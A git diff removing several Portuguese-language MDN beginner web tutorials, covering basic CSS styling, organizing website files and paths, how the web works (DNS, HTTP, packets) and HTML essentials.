body {
-  width: 600px;
-  margin: 0 auto;
-  background-color: #FF9500;
-  padding: 0 20px 20px 20px;
-  border: 5px solid black;
-}
- -

Agora o elemento {{htmlelement("body")}}. Há várias declarações, então vamos ver uma de cada vez:

- -
    -
  • width: 600px; — Faz com que a largura seja sempre 600 píxeis.
  • -
  • margin: 0 auto; — Quando se dá dois valores a margin ou padding, o primeiro afeta o espaço por cima e por baixo do elemento (neste caso, 0), e o segundo o espaço à esquerda e à direita (auto é um valor especial que divide o espaço existente de forma igual entre a esquerda e a direita). Também pode utilizar um, três ou quatro valores, conforme a documentação da sintaxe de margin.
  • -
  • background-color: #FF9500; — como já vimos, estabelece a cor de fundo. Esta é uma tonalidade vermelho alaranjado para o corpo, em vez do azul escuro do elemento {{htmlelement("html")}}, mas esteja à vontade para experimentar outras cores.
  • -
  • padding: 0 20px 20px 20px; — temos quatro valores nesta propriedade, para deixar bastante espaço em volta do conteúdo. Desta vez, fazemos com que não haja preenchimento por cima do elemento e 20 píxeis à esquerda, à direita e por baixo. Os valores estabelecem, por esta ordem, o preenchimento por cima, à direita, por baixo e à esquerda. Tal como a margin, pode usar um, dois ou três valores, conforme a documentação da sintaxe de padding.
  • -
  • border: 5px solid black; — simplesmente, cria um contorno de todos os lados do elemento, com cor preta, a traço cheio (contínuo) e espessura de 5 píxeis.
  • -
- -

Posicionar e estilizar o título da nossa página principal

- -
h1 {
-  margin: 0;
-  padding: 20px 0;
-  color: #00539F;
-  text-shadow: 3px 3px 1px black;
-}
- -

Deve ter notado que há espaço em branco horrível no topo do conteúdo da página. Isto acontece porque o navegador aplica estilo por omissão ao elemento {{htmlelement("h1")}} (entre outros), mesmo que não se tenha aplicado qualquer CSS! Embora isso possa parecer má ideia, na prática até uma página sem folha de estilos tem que ter alguma legibilidade. Para nos livrarmos deste espaço, colocamos margin: 0;.

- -

De seguida, colocámos o preenchimento por cima e por baixo a 20 píxeis, e demos ao texto a mesma cor que a cor de fundo do elemento {{htmlelement("html")}}.

- -

Utilizámos uma propriedade interessante, text-shadow, que aplica sombreado ao texto de um elemento. Estes são os quatro valores da mesma:

- -
    -
  • O primeiro valor em píxeisestabelece a distância horizontal entre a sombra e o texto, ou seja, quanto ela se desvia para a direita. Um valor negativo desvia para a esquerda.
  • -
  • O segundo valor em píxeis estabelece a distância vertical entre a sombra e o texto, ou quanto ela se desvia para baixo. Um valor negativo desvia para cima.
  • -
  • O terceiro valor em píxeis é o raio de desfoque da sombra — quanto maior o valor, mais a sombra ficará esbatida.
  • -
  • O quarto valor é a cor da sombra.
  • -
- -

Novamente, tente experimentar os valores para ver como fica!

- -

Centrar a imagem

- -
img {
-  display: block;
-  margin: 0 auto;
-}
- -

Por fim, vamos centrar a imagem para ficar melhor. Utilizámos o truque de colocar margin: 0 auto como fizemos com o corpo, mas temos que fazer outra coisa. O elemento {{htmlelement("body")}} está ao nível de bloco, ou seja, ocupa toda a largura da página e podem ser-lhe aplicados valores de margem, e outros valores de espaçamento. Por outro lado, as imagens são elemento em linha, a que não se podem aplicar estes valores. Então, para a margem ser aplicada à imagem, temos que lhe atribuir comportamento ao nível do bloco com display: block;.

- -
-

Nota: Estas instruções assumem que está a usar uma imagem mais pequena que a largura do corpo (600 píxeis). Se for maior, vai transbordar do corpo e ocupar espaço no resto da página. Para retificar isto, pode 1) reduzir a largura da imagem com um programa de edição gŕafica, ou 2) reduzir a imagem com CSS utilizando a propriedade {{cssxref("width")}} no elemento <img> com um valor mais pequeno, como 400 px;.

-
- -
-

Nota: não se preocupe se ainda não entende display: block; e a distinção entre bloco e em linha (block-level/inline). Irá perceber à medida que estuda o CSS com mais profundidade. Pode descobrir mais sobre os diferentes valores de display na página de referência de display.

-
- -

Conclusão

- -

Se seguiu as instruções nesta página, a sua página deve ter este aspeto (e pode ver a nossa versão aqui):

- -

a mozilla logo, centered, and a header and paragraphs. It now looks nicely styled, with a blue background for the whole page and orange background for the centered main content strip.

- -

Se ficou preso, pode sempre comparar o seu trabalho com o exemplo terminado no GitHub.

- -

Aqui, mal tocámos na superfície do CSS. Para saber mais, consulte o tópico de Aprender CSS.

- -

{{PreviousMenuNext("Learn/Comecar_com_a_Web/HTML_basicos", "Learn/Comecar_com_a_Web/Elementar_de_JavaScript", "Learn/Comecar_com_a_Web")}}

- -

Neste módulo

- - diff --git a/files/pt-pt/learn/getting_started_with_the_web/dealing_with_files/index.html b/files/pt-pt/learn/getting_started_with_the_web/dealing_with_files/index.html deleted file mode 100644 index 0c168838bb..0000000000 --- a/files/pt-pt/learn/getting_started_with_the_web/dealing_with_files/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: Lidar com ficheiros -slug: Learn/Getting_started_with_the_web/Dealing_with_files -tags: - - Beginner - - Ficheiros - - Guía - - HTML - - Programação Scripting - - l10n:priority - - site da Web - - teoria -translation_of: Learn/Getting_started_with_the_web/Dealing_with_files -original_slug: Learn/Comecar_com_a_Web/Lidar_com_ficheiros ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Comecar_com_a_Web/Apresentacao_do_meu_site", "Learn/Comecar_com_a_Web/HTML_basicos", "Learn/Comecar_com_a_Web")}}
- -
-

Um site da internet consiste em muitos ficheiros: conteúdo de texto, código, folhas de estilo, conteúdo de multimédia, e assim por diante. Enquanto estiver a criar o site, tem que reunir esses ficheiros numa estrutura conveniente no seu computador local, certificar-se que os mesmos podem comunicar uns com os outros e preparar a apresentação do seu conteúdo, antes de eventualmente enviar os ficheiros para um servidor. Este artigo, Lidar com ficheiros, apresenta algumas questões de que deverá estar ciente para poder configurar uma estrutura de ficheiros conveniente para o seu site.

-
- -

Onde deve ficar o seu site no seu computador ?

- -

Quando estiver a trabalhar num site localmente, no seu computador, deve manter todos os ficheiros relacionados numa única pasta que seja o reflexo da estrutura de ficheiros do site no servidor. Esta pasta pode ficar onde quiser, mas deve colocá-la num local de fácil acesso: talvez no seu Ambiente de Trabalho, a pasta do seu utilizador, ou a raiz do seu disco rígido.

- -
    -
  1. Escolha um sítio para guardar os seus projetos relacionados com sites. Lá, crie uma pasta com o nome projetos-web (ou um nome semelhante). É aqui que vão morar todos os seus projetos de sites.
  2. -
  3. Dentro desta pasta, crie outra pasta para guardar o seu primeiro site. Pode-lhe chamar site-de-teste (ou algo mais criativo).
  4. -
- -

Um aparte sobre nomes de pastas e ficheiros

- -

Ao longo deste artigo poderá notar que os nomes que são dados às pastas e aos ficheiros estão todos em minúsculas e sem espaços. Isto porque:

- -
    -
  1. Muitos computadores, particularmente servidores da internet, são sensíveis a maiúsculas. Por exemplo, se criar um ficheiro de imagem com o nome site-de-teste/MinhaImagem.jpg e depois noutro ficheiro tentar referir-se a ela com o nome site-de-teste/minhaimagem.jpg, pode não resultar.
  2. -
  3. Navegadores, servidores, e linguagens de programação não tratam os espaços da mesma forma. Por exemplo, se usar espaços no nome do ficheiro, alguns sistemas podem tratá-lo como dois nomes separados. Alguns servidores substituem os espaços por "%20" (código de carácter de espaços em URI), e assim arruínam os seus links.
  4. -
- -

Por essas razões, é melhor habituar-se a escrever os nomes de pastas e ficheiros sem espaços e com palavras separadas por hífen, pelo menos até saber o que está a fazer. Desta forma, irá encontrar menos problemas mais tarde.

- -

Inicialmente, é melhor separar palavras com hífen em vez de underscoremeu-ficheiro.html em vez de meu_ficheiro.html, pois o motor de pesquisa Google interpreta o hífen como separador de palavras, mas não o underscore.

- -

Que estrutura deverá ter o seu site?

- -

De seguida, vamos discutir a estrutura que deve ter o site de teste. As coisas mais comuns que temos em qualquer site são um ficheiro índice e pastas que organizam os ficheiros por tipo: imagens, folhas de estilo e scripts. Vamos criá-las agora:

- -
    -
  1. index.html: Este ficheiro geralmente descreve o conteúdo da sua página principal, ou seja, o texto e imagens que as pessoas veem quando visitam o site pela primeira vez. Com um editor de texto, crie um ficheiro index.html e guarde-o dentro da pasta site-de-teste.
  2. -
  3. Pasta images: Esta pasta irá conter todas as imagens do seu site. Crie um pasta com este nome dentro da pasta site-de-teste.
  4. -
  5. Pasta styles: Esta pasta contém o código CSS que dá estilo ao conteúdo (por exemplo, cor do texto e do fundo). Crie-a dentro da pasta site-de-teste.
  6. -
  7. Pasta scripts: Esta pasta contém o código JavaScript que dá interatividade ao seu site (ex: botões que carregam dados quando premidos). Crie-adentro da pasta site-de-teste.
  8. -
- -
-

Nota: Em computadores com Windows, pode ter dificuldade em ver nomes dos ficheiros, porque no Windows tem uma opção, ligada por omissão, para Esconder extensões de ficheiros conhecidas. Em geral, pode desligá-la no Explorador do Windows, selecionar Opções de pastas..., desmarcar a opção em questão, na caixa de seleção, e clicar OK. Para mais informações sobre a sua versão específica de Windows, faça uma pesquisa na internet. 

-
- -

Caminhos de ficheiros

- -

Para permitir a comunicação entre ficheiros, é necessário estabelecer os caminhos entre eles. Para demonstrar, vamos inserir algum HTML no ficheiro index.html que mostra a imagem que escolheu no artigo Qual será a aparência do meu site?

- -
    -
  1. Copie a imagem escolhida para a pasta images.
  2. -
  3. Abra o ficheiro index.html, e copie o código exatamente como se mostra em baixo. Para já não se preocupe com o que significa — vamos olhar para estas estruturas mais tarde. -
    <!DOCTYPE html>
    -<html>
    -  <head>
    -    <meta charset="utf-8">
    -    <title>My test page</title>
    -  </head>
    -  <body>
    -    <img src="" alt="My test image">
    -  </body>
    -</html> 
    -
  4. -
  5. A linha <img src="" alt="My test image"> é o código HTML que insere uma imagem na página. É necessário dizer, neste trecho de código HTML, onde está a imagem. A mesma está dentro da diretoria images, a qual está na mesma diretoria que index.html. Para descer na estrutura de ficheiros, de index.html para a imagem, o caminho é images/nome-da-imagem. Por exemplo, se a mesma e chamasse firefox-icon.png, o caminho seria images/firefox-icon.png.
  6. -
  7. Insira este caminho no código HTML, entre as aspas neste trecho de código: src="".
  8. -
  9. Guarde o ficheiro HTML, depois carregue-o no seu navegador (com duplo clique). Deve conseguir ver o novo site, com a imagem! 
  10. -
- -

A screenshot of our basic website showing just the firefox logo - a flaming fox wrapping the world

- -

Algumas regras gerais sobre caminhos de ficheiros:

- -
    -
  • Para referir a um ficheiro na mesma pasta que o ficheiro HTML onde a mesma é referida, utilize o nome desse ficheiro. Ex: minha-imagem.jpg.
  • -
  • Para referir a um ficheiro numa sub-pasta, escreva o nome dessa sub-pasta antes do nome do ficheiro, seguido de uma barra. Ex: sub-pasta/minha-imagem.jpg.
  • -
  • Para referir um ficheiro numa diretoria acima do ficheiro HTML que a refere, escreva dois pontos finais e uma barra. Por exemplo, se index.html estiver numa sub-pasta, que por sua vez está localizada em site-de-teste; e o ficheiro minha-imagem.jpg estiver na pasta site-de-teste, pode referir minha-imagem.jpg (a partir de index.html) com ../my-image.jpg.
  • -
  • Pode combiná-los como quiser. Por exemplo, ../subdiretoria/outra-subdiretoria/minha-imagem.jpg.
  • -
- -

Por agora é tudo o que precisa de saber.

- -
-

Nota: O Windows usa barras invertidas, como no caminho C:\windows. Mas em HTML, isso é irrelevante — mesmo que esteja a construir o site num sistema Windows, pode usar a barra normal, /.

-
- -

Que mais deverá ser feito?

- -

Por agora é tudo. A sua estrutura deverá ser como esta:

- -

A file structure in mac os x finder, showing an images folder with an image in, empty scripts and styles folders, and an index.html file

- -

{{PreviousMenuNext("Learn/Comecar_com_a_Web/Apresentacao_do_meu_site", "Learn/Comecar_com_a_Web/HTML_basicos", "Learn/Comecar_com_a_Web")}}

- -

Neste módulo

- - diff --git a/files/pt-pt/learn/getting_started_with_the_web/how_the_web_works/index.html b/files/pt-pt/learn/getting_started_with_the_web/how_the_web_works/index.html deleted file mode 100644 index 6eaf47b5fc..0000000000 --- a/files/pt-pt/learn/getting_started_with_the_web/how_the_web_works/index.html +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: Como funciona a Web -slug: Learn/Getting_started_with_the_web/How_the_Web_works -tags: - - Aprender - - Beginner - - Cliente - - DNS - - HTTP - - IP - - Infraestrutura - - Servidor - - TCP - - l10n:priority -translation_of: Learn/Getting_started_with_the_web/How_the_Web_works -original_slug: Learn/Comecar_com_a_Web/Como_funciona_a_Web ---- -
{{LearnSidebar}}
- -
{{PreviousMenu("Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web", "Learn/Comecar_com_a_Web")}}
- -
-

Como a Web funciona, fornece uma visualização simplificada do que acontece quando visualiza uma página da Web num navegador da Web no seu computador ou dispositivo móvel.

-
- -

Esta teoria não é essencial para escrever o código da Web em curto prazo, mas em pouco tempo, irá realmente começar a beneficiar da compreensão do que está a acontecer em segundo plano.

- -

Servidores e clientes

- -

Os computadores ligados à Web são chamados de clientes e servidores. Um diagrama simplificado de como eles interagem, parece-se como isto:

- -

- -
    -
  • Os clientes são os dispositivos típicos ligados à Internet dos utilizadores da Web (por exemplo, o seu computador ligado à sua Wi-Fi ou seu dispositivo móvel ligado à sua rede móvel) e o software de acesso à Internet disponível nesses dispositivos (geralmente um navegador da Web, tais como Firefox ou Chrome) .
  • -
  • Os servidores são computadores que armazenam os sites, páginas ou aplicações da Web. Quando um dispositivo cliente pretende aceder a uma página da Web, uma cópia da página da Web é transferida do servidor para a máquina do cliente para ser exibida no navegador da Web do utilizador.
  • -
- -

As outras partes da caixa de ferramentas

- -

O cliente e o servidor que descrevemos acima não contam toda a história. Há muitas outras partes envolvidas, e iremos descrevê-las em baixo.

- -

Por enquanto, vamos imaginar que a Web é uma estrada. Num extremo da estrada está o cliente, que é como a sua casa. Na outra extremidade da estrada está o servidor, que é uma loja na qual deseja comprar algo.

- -

- -

Além do cliente e do servidor, nós também precisamos cumprimentar:

- -
    -
  • A sua conexão com a internet: Permite que envie e receba dados na rede. Ela é basicamente como a rua entre a sua casa e a loja.
  • -
  • TCP/IP: Protocolo de Controlo de Transmissão (Transmission Control Protocol, em inglês) e o Protocolo da Internet (Internet Protocol, em inglês) são os protocolos de comunicação que definem como os dados devem viajar através da rede. Eles são como os mecanismos de transporte que permitem que faça um pedido, vá para a loja e compre as suas mercadorias. No nosso exemplo, eles são como um carro ou uma bicicleta (ou qualquer outra coisa que possa usar para se locomover).
  • -
  • DNS: Servidores de Nome de Domínio (Domain Name Servers, em inglês) são como um livro de endereços (ou uma agenda eletrônica) de websites. Quando digita o endereço de um site no seu navegador, ele espera o DNS encontrar o endereço real da página antes que ele possa recuperar o site para o utilizador. O navegador precisa encontrar em qual servidor o site se encontra, para que assim ele possa enviar mensagens HTTP para o lugar certo (veja abaixo).  Esse processo é como o de procurar pelo endereço da loja para que possa ir até lá.
  • -
  • HTTP: Hypertext Transfer Protocol é um {{Glossary("Protocol", "protocolo")}} de aplicação que define a linguagem usada para clientes e servidores comunicarem. Isto é igual à linguagem usada para comprar os bens.
  • -
  • Ficheiros componentes: Um site é feito a partir de vários ficheiros, que são como as diferentes partes dos bens que compra da loja. Estes ficheiros pertencem a duas categorias: -
      -
    • Ficheiros de código: Websites são principalmente construidos com HTML, CSS e JavaScript, ficara a conhecer mais tecnologias mais logo.
    • -
    • Ativos: Isto é o nome para o resto que constitui um site, como imagens, música, vídeo, documentos Word e PDFs.
    • -
    -
  • -
- -

Então, o que acontece exatamente?

- -

Quando escreve um endereço web no seu browser (para a nossa analogia isso é como caminhar até à loja):

- -
    -
  1. O navegador vai para o servidor DNS, e encontra o endereço real do servidor onde o sítio web vive (encontra o endereço da loja).
  2. -
  3. O navegador envia uma mensagem de pedido HTTP ao servidor, pedindo-lhe que envie uma cópia do website ao cliente (vai à loja e encomenda a sua mercadoria). Esta mensagem e todos os outros dados enviados entre o cliente e o servidor, é enviada através da sua ligação à Internet utilizando TCP/IP.
  4. -
  5. Desde que o servidor aprove o pedido do cliente, o servidor envia ao cliente uma mensagem "200 OK", o que significa "Claro que pode olhar para esse website! Aqui está", e depois começa a enviar os ficheiros do sítio web para o navegador como uma série de pequenos pedaços chamados packets / pacotes de dados (a loja dá-lhe os seus bens, e você trá-los de volta para a sua casa).
  6. -
  7. O navegador monta os pequenos pedaços num website completo e mostra-lho (os bens chegam à sua porta — coisas novas e brilhantes, espetacular!).
  8. -
- -

DNS explicado

- -

Os verdadeiros endereços web não são os nomes agradáveis e memoráveis que escreve na sua barra de endereços para encontrar os seus sítios web favoritos. São números especiais que têm este aspeto: 63.245.215.20.

- -

Isto chama-se um {{Glossary("IP Address", "Endereço IP")}}, e representa uma localidade única na web. No entanto, não é muito fácil de lembrar, pois não? É por isso que foram inventados os Servidores de Nome de Domínio. Estes são servidores especiais que correspondem a um endereço web que digita no seu browser (como "mozilla.org") ao endereço real (IP) do website.

- -

Os websites podem ser acedidos diretamente através dos seus endereços IP. Pode encontrar o endereço IP de um sítio web digitando o seu domínio numa ferramenta como o IP Checker.

- -

A domain name is just another form of an IP address

- -

Packets explicados

- -

Anteriormente utilizámos o termo "packets" para descrever o formato em que os dados são enviados do servidor para o cliente. O que é que queremos dizer aqui? Basicamente, quando os dados são enviados através da web, são enviados como milhares de pequenos pedaços, para que muitos utilizadores da web possam descarregar o mesmo website ao mesmo tempo. Se os sítios web fossem enviados como um único grande pedaço, apenas um utilizador poderia descarregar um de cada vez, o que obviamente tornaria a web muito ineficiente e não muito divertida de utilizar.

- -

Ver também

- - - -

Créditos

- -

Street photo: Street composing, por Kevin D.

- -

{{PreviousMenu("Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web", "Learn/Comecar_com_a_Web")}}

- -

Neste módulo

- - diff --git a/files/pt-pt/learn/getting_started_with_the_web/html_basics/index.html b/files/pt-pt/learn/getting_started_with_the_web/html_basics/index.html deleted file mode 100644 index bad6619e6c..0000000000 --- a/files/pt-pt/learn/getting_started_with_the_web/html_basics/index.html +++ /dev/null @@ -1,238 +0,0 @@ ---- -title: HTML - Essencial -slug: Learn/Getting_started_with_the_web/HTML_basics -tags: - - Aprender - - CodingScripting - - HTML - - Principiante - - Web - - l10n:priority -translation_of: Learn/Getting_started_with_the_web/HTML_basics -original_slug: Learn/Comecar_com_a_Web/HTML_basicos ---- -
-
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Comecar_com_a_Web/Lidar_com_ficheiros", "Learn/Comecar_com_a_Web/CSS_basico", "Learn/Comecar_com_a_Web")}}
- -
-

HTML (Linguagem de Marcação de Hipertexto) é o código que é utilizado para estruturar uma página da web e o seu conteúdo. Por exemplo, o conteúdo poderá ser estruturado dentro de um conjunto de parágrafos, uma lista de pontos com marcadores, ou utilizando imagens e tabelas de dados. Como o título sugere, este artigo irá dar-lhe uma compreensão básica do HTML e as suas funções.

-
- -

Então, o que é realmente o HTML?

- -

HTML não é uma linguagem de programação; é uma linguagem de marcação que define a estrutura do seu conteúdo. HTML consiste numa série de {{Glossary("element", "elementos")}}, que se utilizam para envolver, ou cercar, diferentes partes do conteúdo, e assim fazê-lo ter uma determinada aparência ou agir de determinada maneira. As {{Glossary("tag", "etiquetas")}} envolventes podem interligar as palavras ou imagens para outro lugar, colocar palavras em itálico, tornar a letra maior ou menor, e assim por diante. Por exemplo, veja a seguinte linha de conteúdo:

- -
O meu gato é muito rabugento
- -

Caso queiramos que a linha esteja separada de outras, podemos especificar que é um parágrafo envolvendo-a em etiquetas de parágrafo:

- -
<p>O meu gato é muito rabugento</p>
- -

Anatomia de um elemento HTML

- -

Vamos explorar este elemento de parágrafo um pouco mais.

- -

- -

As partes principais do nosso elemento são:

- -
    -
  1. A etiqueta de abertura: Consiste no nome do elemento (neste caso, p), envolto em parênteses angulares. Isto afirma onde começa o elemento, ou onde começa a ter efeito — neste caso, onde começa o parágrafo.
  2. -
  3. A etiqueta de fecho: É igual à de abertura, mas tem uma barra antes do nome do elemento. Isto afirma onde acaba o elemento — neste caso, onde fica o fim do parágrafo. Omitir a etiqueta de fecho é um erro de principiante comum e pode levar a resultados estranhos.
  4. -
  5. O conteúdo: É o conteúdo do elemento, que neste caso é só texto.
  6. -
  7. O elemento: A etiqueta de abertura, mais a etiqueta de fecho, mais o conteúdo, é igual ao elemento.
  8. -
- -

Elementos também podem ter atributos, que se parecem assim:

- -

- -

Atributos contêm informação extra sobre o elemento que não quer que apareça no conteúdo. Aqui, class é o nome do atributo, e editor-note é o valor do atributo. O atributo class permite identificar o elemento como sendo parte de um grupo, que pode ser alvo de regras CSS e outras coisas.

- -

Um atributo deverá ter sempre:

- -
    -
  1. Um espaço entre si o nome do elemento (ou do atributo anterior, se esse elemento já possuir um ou mais atributos).
  2. -
  3. O nome do atributo, seguido de um sinal de igual.
  4. -
  5. O valor do atributo, envolto em abre e fecha aspas.
  6. -
- -
-

Nota: Valores de atributos que não possuam espaço em branco ASCII (ou nenhum dos caracteres " ' = < >), mas recomendado que todos os valores de atributos sejam envoltos em aspas, para tornar o código mais consistente e compreensível.

-
- -

Aninhar elementos

- -

Também pode colocar elementos dentro de outros elementos  — chama-se a isto aninhar. Se quisermos declarar que o nosso gato é muito rabugento, podemos cercar a palavra "muito" com um elemento {{htmlelement("strong")}}, que significa que a palavra tem ênfase forte:

- -
<p>O meu gato é <strong>muito</strong> rabugento.</p>
- -

No entanto, tem que se certificar que os seus elementos estão devidamente aninhados: no exemplo em cima, abrimos o elemento {{htmlelement("p")}} primeiro, e depois o elemento {{htmlelement("strong")}} , portanto temos que fechar o elemento {{htmlelement("strong")}} primeiro, e só depois o {{htmlelement("p")}}. A linha seguinte está errada:

- -
<p>O meu gato é <strong>muito rabugento.</p></strong>
- -

Os elementos têm que abrir e fechar corretamente para que seja claro se estão dentro ou fora uns dos outros. Se ficarem sobrepostos como se mostrou em cima, o seu navegador vai tentar adivinhar o que quis dizer, e pode obter resultados inesperados. Então, não faça isso!

- -

Elementos vazios

- -

Alguns elementos não têm conteúdo, aos quais chamamos elementos vazios. Veja o elemento {{htmlelement("img")}} que já temos no nosso HTML:

- -
<img src="images/firefox-icon.png" alt="My test image">
- -

O mesmo contém dois atributos, mas não há etiqueta de fecho, </img>, nem conteúdo no seu interior, uma vez que um elemento de imagem não envolve conteúdo para o afetar. O seu propósito é incorporar uma imagem na página HTML, no local onde aparece.

- -

Anatomia de um documento HTML

- -

Assim terminamos as bases de elementos HTML individuais, mas eles não são muito úteis sozinhos. Vamos agora ver como os elementos se combinam para formar uma página HTML inteira. Voltemos ao código que escrevemos no ficheiro de exemplo index.html (que conhecemos no artigo Lidar com ficheiros):

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="utf-8">
-    <title>My test page</title>
-  </head>
-  <body>
-    <img src="images/firefox-icon.png" alt="My test image">
-  </body>
-</html>
- -

Aqui temos:

-
- -
    -
  • <!DOCTYPE html> — o tipo de documento. Na noite dos tempos, quando HTML era jovem (cerca de 1991/2), os tipos de documento agiam como ligações para um conjunto de regras que a página HTML tinha que seguir para ser considerado HTML, que podia significar verificação automática de erros e outras coisas úteis. Contudo, hoje em dia ninguém quer saber delas, e são apenas um artefacto histórico que tem que ser incluído para tudo funcionar. Para já é só isto que precisa de saber.
  • -
  • <html></html> — o elemento {{htmlelement("html")}}. Este elemento envolve o conteúdo de toda a página, e por vezes é conhecido como elemento de raiz.
  • -
  • <head></head> — o elemento {{htmlelement("head")}}. Este elemento funciona como contentor para tudo o que quer incluir na página HTML que não é o conteúdo mostrado aos visitantes da página. Tal inclui, por exemplo, {{Glossary("keyword", "keywords")}} e uma descrição da página que é mostrada em resultados de pesquisa, CSS para definir o estilo do conteúdo, declaração do conjunto de caracteres, e mais.
  • -
  • <body></body> — o elemento {{htmlelement("body")}}. Este elemento possui todo o conteúdo que quer mostrar aos utilizadores quando visitam a página, seja texto, imagens, vídeos, jogos, faixas de áudio reproduzíveis, e tudo mais.
  • -
  • <meta charset="utf-8"> — este elemento define que o documento deve utilizar conjunto de caracteres UTF-8, o qual inclui a maior parte dos caracteres da vasta maioria de linguagens humanas. Essencialmente, agora o ficheiro pode conter qualquer conteúdo textual que possa vir a pôr-lhe. Não há motivos para não colocar este elemento, e pode evitar problemas no futuro.
  • -
  • <title></title> — o elemento {{htmlelement("title")}}. Define o título da página, que é o título que aparece no separador do navegador que carregou a página. Também é usado para descrever a página quando é adicionada aos marcadores/favoritos.
  • -
- -

Imagens

- -

Vamos virar a nossa atenção para o elemento {{htmlelement("img")}} outra vez:

- -
<img src="images/firefox-icon.png" alt="My test image">
- -

Como já referimos, incorpora uma imagem na nossa página, no local onde aparece. Para tal recorre ao atributo src (source — fonte, origem), que contém o caminho para o ficheiro de imagem.

- -

Também incluímos o atributo alt (alternativa). Neste atributo, você especifica texto descritivo para utilizadores que não conseguem ver a imagem, possivelmente porque:

- -
    -
  1. Têm deficiências visuais. Utilizadores com deficiências visuais significativas costumam utilizar ferramentas chamadas leitores de ecrã que lhes lê o texto alternativo.
  2. -
  3. Alguma coisa correu mal e fez com que a imagem não fosse mostrada. Por exemplo, tente mudar deliberadamente o caminho no atributo src para torná-lo incorreto. Se guardar e recarregar a página, deve ver algo como isto em vez da imagem:
  4. -
- -

- -

As palavras-chave sobre texto alternativo são: "texto descritivo". Ou seja, deve dar ao leitor informação suficiente para ter uma boa ideia do que a imagem transmite. Neste exemplo, o texto atual, "My test image" não é nada bom. Uma alternativa muito melhor para o nosso logótipo do Firefox seria "Logótipo do Firefox: uma raposa flamejante a rodear o mundo."

- -

Agora, tenta encontrar texto alternativo melhor para a tua imagem.

- -
-

Nota: saiba mais sobre acessibilidade em MDN - Página de Acessibilidade.

-
- -

Marcação de texto

- -

Esta secção irá abranger alguns dos elementos básicos de HTML que irá utilizar para marcar texto.

- -

Títulos

- -

Elementos de título permitem especificar que determinadas partes do seu conteúdo são títulos (ou subtítulos) do conteúdo. Da mesma forma que um livro tem um título principal, títulos de capítulos e subtítulos, um documento HTML também os pode ter. HTML contém seis níveis de títulos, {{htmlelement("h1")}}–{{htmlelement("h6")}} mas geralmente usam-se no máximo 3 ou 4:

- -
<h1>Título principal</h1>
-<h2>Título mais abrangente</h2>
-<h3>Subtítulo</h3>
-<h4>Sub-subtítulo</h4>
- -

Tente agora acrescentar um título à sua página HTML mesmo por cima do seu elemento {{htmlelement("img")}}.

- -

Parágrafos

- -

Como já foi explicado, elementos {{htmlelement("p")}} servem para conter parágrafos; vai usá-los frequentemente quando marcar conteúdo textual:

- -
<p>Isto é um único parágrafo</p>
- -

Acrescente um ou mais parágrafos com a sua amostra de texto (conforme o artigo Qual será a aparência do seu site da Web?), diretamente por baixo do elemento {{htmlelement("img")}}.

- -

Listas

- -

Grande parte do conteúdo da web está em listas, e HTML tem elementos especiais para as mesmas. Marcar listas consiste sempre em pelo menos 2 elementos. As listas mais comuns são as listas ordenadas e não ordenadas:

- -
    -
  1. Listas não ordenadas são listas em que a ordem dos elementos não é relevante, como uma lista de compras. São envoltas no elemento {{htmlelement("ul")}}.
  2. -
  3. Listas ordenadas são listas em que a ordem dos elementos é importante, como uma receita. São envoltas no elemento {{htmlelement("ol")}}.
  4. -
- -

Cada artigo na lista é colocado dentro de um elemento {{htmlelement("li")}} (list item).

- -

Por exemplo, se quisermos transformar parte deste trecho numa lista:

- -
<p>Na Mozilla, somos uma comunidade global de tecnólogos, pensadores, e construtores que trabalham juntos ... </p>
- -

Podemos modificar a marcação desta forma:

- -
<p>Na Mozilla, somos uma comunidade global de</p>
-
-<ul>
-  <li>tecnólogos</li>
-  <li>pensadores</li>
-  <li>construtores</li>
-</ul>
-
-<p>que trabalham juntos ... </p>
- -

Tente acrescentar uma lista ordenada ou não ordenada à sua página de exemplo.

- -

Hiperligações

- -

As hiperligações são muito importantes — são elas que tornam a internet na internet! Para acrescentar uma ligação, precisamos de um elemento simples — {{htmlelement("a")}} — cujo "a" abrevia "âncora". Para transformar texto no seu parágrafo numa ligação, siga estes passos:

- -
    -
  1. Escolha algum texto. Escolhemos o texto "Manifesto da Mozilla".
  2. -
  3. Envolva o texto num elemento {{htmlelement("a")}}, assim: -
    <a>Manifesto da Mozilla</a>
    -
  4. -
  5. Dê ao elemento {{htmlelement("a")}} um atributo href, assim: -
    <a href="">Manifesto da Mozilla</a>
    -
  6. -
  7. Preencha o valor deste atributo com o endereço web para o qual quer ligar a hiperligação: -
    <a href="https://www.mozilla.org/pt-PT/about/manifesto/">Manifesto da Mozilla</a>
    -
  8. -
- -

Pode obter resultados inesperados se omitir a parte do protocolo no início do endereço web (https:// ou http://). Depois de criar uma hiperligação, clique para assegurar que está a enviá-lo para onde é pretendido.

- -
-

href pode, à primeira vista, parecer uma escolha obscura para o nome de um atributo. Se tiver dificuldades em lembrar-se dele, recorde que significa hypertext reference.

-
- -

Agora, acrescente a hiperligação à sua página, se ainda não o fez.

- -

Conclusão

- -

Se seguiu todas as instruções nesta página, deve ter conseguido uma página que se assemelha à página em baixo (também pode vê-la aqui):
-
- A web page screenshot showing a firefox logo, a heading saying mozilla is cool, and two paragraphs of filler text

- -

Se ficou preso, pode comparar o seu trabalho com o exemplo do código terminado no GitHub.

- -

Aqui, mal tocámos na superfície da linguagem HTML. Para descobrir mais, dirija-se ao nosso tópico sobre Aprender HTML.

- -

{{PreviousMenuNext("Learn/Comecar_com_a_Web/Lidar_com_ficheiros","Learn/Comecar_com_a_Web/CSS_basico", "Learn/Comecar_com_a_Web")}}

- -

Neste módulo

- - diff --git a/files/pt-pt/learn/getting_started_with_the_web/index.html b/files/pt-pt/learn/getting_started_with_the_web/index.html deleted file mode 100644 index aff432c058..0000000000 --- a/files/pt-pt/learn/getting_started_with_the_web/index.html +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: Primeiros passos na Web -slug: Learn/Getting_started_with_the_web -tags: - - Beginner - - CSS - - Desenho - - Guía - - HTML - - I10n:priority - - Index - - publicação - - teoria -translation_of: Learn/Getting_started_with_the_web -original_slug: Learn/Comecar_com_a_Web ---- -
{{LearnSidebar}}
- -
-

